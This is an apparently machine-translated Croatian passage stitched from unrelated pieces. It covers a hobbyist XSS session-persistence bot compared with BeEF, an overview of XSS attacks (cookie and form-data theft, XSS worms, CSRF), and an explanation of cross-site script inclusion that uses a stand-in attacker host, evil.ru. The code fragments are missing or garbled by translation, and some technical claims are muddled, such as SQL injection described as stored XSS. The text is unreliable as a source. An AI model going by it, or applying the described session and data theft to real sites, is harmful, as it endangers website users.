    Nakon što sam napisao svoj izmišljeni način zadržavanja korisnika na stranici s XSS-om kroz okvire (dobro, kao izmišljeno - osobno sam ga otkrio, sasvim je moguće da je netko drugi "izmislio" ovu istu tehniku ​​za sebe ili je već negdje u javnosti užareno, jer sada je prilično teško razviti nešto uistinu novo, a u pravilu nakon nekog vremena otkrijete da je "ovo već bilo u Simpsonima") Počeo sam detaljnije ulaziti u BeEF i čitati njegovu wiki. Zatim sam otkrio da je ondje implementirana još jedna tehnika za postizanje istog cilja - produljenje vremena korisnika na stranici s izvršnim XSS-om (koji su nazvali čovjek-u-pregledniku). I implementirano je ovako: svi linkovi na originalnoj stranici su promijenjeni na način da kada kliknete na bilo koji od njih, skripta nije ponovno učitala stranicu, već je preko Ajaxa poslala zahtjev serveru i ubacila podatke dobio u odgovoru, odnosno moglo bi se reći umjetno ažurirao, što se također gotovo nije razlikovalo od običnog osvježenja.

    Dakle, nisam bio prvi koji je uspio realizirati ovu ideju (iako su se metode pokazale drugačijima). Ali obje ove metode imaju svoje nedostatke:

    Metoda učitavanja putem ne radi ako u odgovoru postoji zaglavlje X-Frame-Opcije: DENY, ali inače radi kao običan prozor preglednika;

    Metoda ajax uvijek radi ako je preglednik podržava (sada je podržavaju svi glavni preglednici), ali s novim standardom Web 2.0 sve više i više prijelaza pokreću prilagođeni događaji bilo kojeg elementa putem JS-a. Jednog sam dana otišao u Google AdWords i odlučio vidjeti kako njihov HTML i JS tamo komuniciraju, jer su svi moji pauci bili izuzetno loši u stvaranju stražnje karte ove usluge. I tiho sam šizio cijelu večer kako je sve neobično tamo, kada su tekstualni elementi bili gumbi, prekidači i klizači i bili su prikazani sa svim ostalim, a svaki je imao oko 30 rukovatelja za različite događaje.

    Odnosno, na sofisticiranom web-mjestu gumb prijelaza (subjektivno veza) bit će implementiran putem redovite oznake , koji je napunjen stilovima i na koji su priloženi rukovatelji događajima, od kojih je jedan npr. onclick preusmjerava korisnika na drugu stranicu. Postoje i standardni elementi poput [i] ili samog sebe itd., koje su također zapravo poveznice na druge stranice, ali na koje BeEF neće odgovoriti i stranica se jednostavno neće ažurirati kada kliknete na većinu gumba i drugih elemenata. Što može potaknuti korisnika da osvježi stranicu ili ponovno uđe s druge strane, što ubija našu aktivnu XSS sesiju.

    Zbog kratkoće u imenovanju datoteka, nazvao sam ga Xss Spy Bot.

    p.s.
    Za pisanje cijele ove stvari trebalo je malo više od mjesec dana zbog povremenog nedostatka vremena i stalnih ometanja. Također zbog toga je kvaliteta koda i vjerojatnost da ćete naići na neku pogrešku prilično visoka. Zato vas molim da ne psujete previše, nego da napišete što nekome nije u redu da se ispravi.
    Osobno sam testirao bota na samo 4 stroja, a svi su pokretali Debian.

    Dugoročni planovi za ovog bota, ako postoji motivacija:
    — implementirati renderiranje koda stranica koje bot šalje na poslužitelj, tako da se odmah otvara u pregledniku i može se „dotaknuti“ i testirati u hodu;
    — pokušat će uhvatiti dobrote iz WebRTC tehnologije, odnosno pronaći načine kako doći nove informacije, kojega ne izvlači čisti JS;
    — implementirati komunikaciju između bota i poslužitelja koristeći WebSocket protokol preko HTTP-a;
    — dodajte neke pogodnosti upravljačkoj ploči;

    Zadnji put ažurirano 18. studenog 2016.

    Koristeći XSS, iskusni napadači integriraju skripte koje se na njima izvode u stranice žrtvenih web-mjesta, a izvršavaju se prilikom posjeta zaraženim resursima. Postoji nekoliko vrsta XSS ranjivosti koje predstavljaju različite stupnjeve ozbiljnosti.

    Značajke pasivne i aktivne ranjivosti

    Trebali biste biti vrlo oprezni kada se bavite aktivnim ranjivostima. Kada napadač ubaci svoj SQL kod u dostupnu bazu podataka ili datoteku na poslužitelju, svaki posjetitelj zaraženog resursa može postati žrtva. Takva su mjesta često integrirana, pa čak i podaci pohranjeni u bazi podataka koju obrađuje vaša zaštita još uvijek mogu predstavljati određenu opasnost.

    Stvaranje pasivne XSS ranjivosti zahtijeva malo kreativnosti od strane napadača. Ili vas namame na lažni resurs sa svim vrstama poveznica, ili vas pokušavaju preusmjeriti na željenu stranicu na bilo koji način. To se obično događa putem pisama fiktivne administracije stranice koju posjećujete, u kojima se traži da provjerite postavke svog računa. Također se aktivno koriste razne neželjene pošte ili postovi na posjećenim forumima.

    Pasivne XSS ranjivosti mogu proizaći iz POST i GET parametara. Za prve je karakteristično nekoliko različitih trikova, dok je za druge karakteristično kodiranje URL niza ili umetanje dodatnih vrijednosti.

    Krađa kolačića

    Najčešće su vaši kolačići ti koji postaju meta XSS napada. Ponekad sadrže vrijedne informacije, uključujući korisničke prijave i lozinke ili njihov hash. Ali krađa aktivnih sesija stranica koje su vam važne također je prilično opasna, stoga ne zaboravite kliknuti gumb "izlaz" čak i kada posjećujete stranice s kućno računalo. Iako većina resursa koristi automatska ograničenja trajanja sesije za sprječavanje takvih radnji. Ograničenja domene XMLHttpRequest ne štite od takvih napada.

    Podaci iz popunjenih obrazaca

    Čitanje informacija u obrascima koji se mogu ispuniti također je popularno. Da bi se to postiglo, na stranicama od interesa provodi se praćenje događaja (onsubmit), a svi navedeni podaci također se šalju na poslužitelje napadača. Takvi napadi umnogome su slični phishing napadima, ali krađa se ne događa na lažnom, već na stvarnom mjestu s dobrom reputacijom.

    Distribuirani DDoS napadi

    Višestruko posjećeni resursi također se koriste za XSS napade. Zahvaljujući XSS ranjivosti, zahtjevi koji im dolaze preusmjeravaju se na hakirani poslužitelj, zbog čega njegova zaštita pada.

    Krivotvorenje zahtjeva između web-mjesta (CSRF/XSRF)

    Također imaju malo toga zajedničkog s XSS-om. Ovo je zasebna vrsta ranjivosti koja se koristi u kombinaciji s XSS-om. Njihov je cilj namamiti ovlaštenog korisnika s neranjive stranice na lažnu ranjivu stranicu kako bi izvršio lažne transakcije. Na primjer, klijent koji koristi elektronički sustav uplate su namamljene na ranjivu web stranicu koja prenosi novac na račune napadača. Stoga većina sustava plaćanja pruža zaštitu dodatnim unosom lozinke ili šifre kojom se potvrđuje operacija.

    Injekcija XSS crva

    Takav XSS napad na web stranicu pojavio se s razvojem poznatih društvenih mreža (VKontakte, Twitter i druge). Preko njih cijele skupine korisnika primaju ranjive XSS poveznice s integriranim skriptama koje u njihovo ime šalju neželjenu poštu po mrežama. Također se široko prakticira istovremeno kopiranje osobnih podataka i fotografija u resurse napadača.

    Primjeri bezopasnog XSS-a

    Imajte na umu da mnoge vrste brojača također djeluju kao aktivni XSS. Prenose podatke o registriranim posjetiteljima (njihove IP adrese, podatke o korištenoj opremi).

    Samo ovaj kod integrira se u vaše računalo po vašoj želji. Drugi slični XSS mogu lako uključiti niz AJAX zahtjeva između domena.

    O mogućnosti dobivanja raznih informacija sa stranica trećih strana jednostavnim napadom - Cross Site Uključivanje skripti (XSSI).

    Ako sustavno čitate Easy Hack, onda ste vjerojatno već dobro upoznati sa Same Origin Policy (SOP), često joj se vraćamo. Zbog SOP-a, mogućnost interakcije između dva "stranica" vrlo je ograničena. Ali budući da se zadatak primanja i slanja informacija na jednom mjestu s drugog često pojavljuje, predstavili smo razne metode"omekšati" politiku i organizirati interakciju. Na primjer, kao što su CORS ili crossdomain.xml. Jedna od starijih metoda je učitavanje JavaScripta s druge domene putem . SOP nas ovdje ni na koji način ne ograničava: možete odrediti gotovo proizvoljnu lokaciju.

    Na primjer, postoji napadačev host evil.ru i žrtvino web mjesto - žrtve.com. Na evil.ru možemo staviti HTML datoteku i povezati se s bilo kojom skriptom žrtve:

    Kada korisnik uđe na napadačevo web mjesto, preglednik će učitati i pokrenuti JS s žrtve.com, ali u kontekstu SOP evil.ru. To znači da ćemo iz napadačevog JS-a moći pristupiti (ne svim) JS podacima sa žrtvinog poslužitelja.

    Na primjer, JS sadržaj sa stranice žrtve (http://victim.com/any_script_.js):

    Var a = "12345";

    Zatim na web stranici napadača možemo dobiti vrijednost varijable:

    konzola.log(a);

    Ideja rada je jednostavna poput aluminijskog kuhala za vodu.

    Zapravo, mogućnost učitavanja statičnog JS-a s drugih stranica ne predstavlja više problema za stranicu žrtve od učitavanja slike.

    Problemi mogu nastati kada se JS generira dinamički, odnosno kada se sadržaj JS skripte mijenja na temelju podataka iz kolačića ovisno o tome koji mu korisnik pristupa. Na primjer, JS pohranjuje neke "kritične" podatke: osobne podatke (e-mail, korisničko ime na stranici žrtve) ili tehničke podatke (anti-CSRF tokene).

    No, kao što znamo, prilikom učitavanja skripte putem oznake, korisnički preglednik korisniku automatski šalje kolačić. Zbrajanjem ovih činjenica možemo dobiti informacije o svakom korisniku koji je posjetio web stranicu napadača i prijavljen je na stranicu žrtve.

    Što možemo saznati? Globalne varijable i rezultati globalnih funkcija. Nažalost, nećemo moći pristupiti internim varijablama/funkcijama (iako će možda netko pronaći način da i to učini).

    Test funkcije())( vrati "privatne podatke iz funkcije"; )

    Ovaj napad izgleda moguć, ali se čini previše jednostavan i ne bi trebao biti uobičajen. To je ono što prezentaciju u Black Hatu čini zanimljivom. Istraživači su analizirali 150 popularnih web stranica i otkrili da je trećina njih do određenog stupnja ranjiva. Ove nas statistike tjeraju da problem sagledamo malo pobliže.

    Također je otkriven još jedan obrazac. Politika sigurnosti sadržaja postaje sve češća. Kao što znate, pomoću njega možemo naznačiti s kojih se domena ovaj ili onaj resurs može učitati. Na primjer, možete reći da izvršite JS samo iz istog resursa. Osim, najbolje prakse CSP postavke podrazumijevaju zabranu pokretanja ugrađenog JS-a (to jest koda koji se nalazi izravno u HTML-u i ne učitava se iz JS datoteke).

    Međutim, prijenos inline u datoteke može se obaviti uz pomoć štaka i u žurbi - to jest, putem dinamički generiranih skripti. Budući da CSP nema učinka na XSSI, možemo ponovno izvesti naše napade. Ovo je tako loša praksa.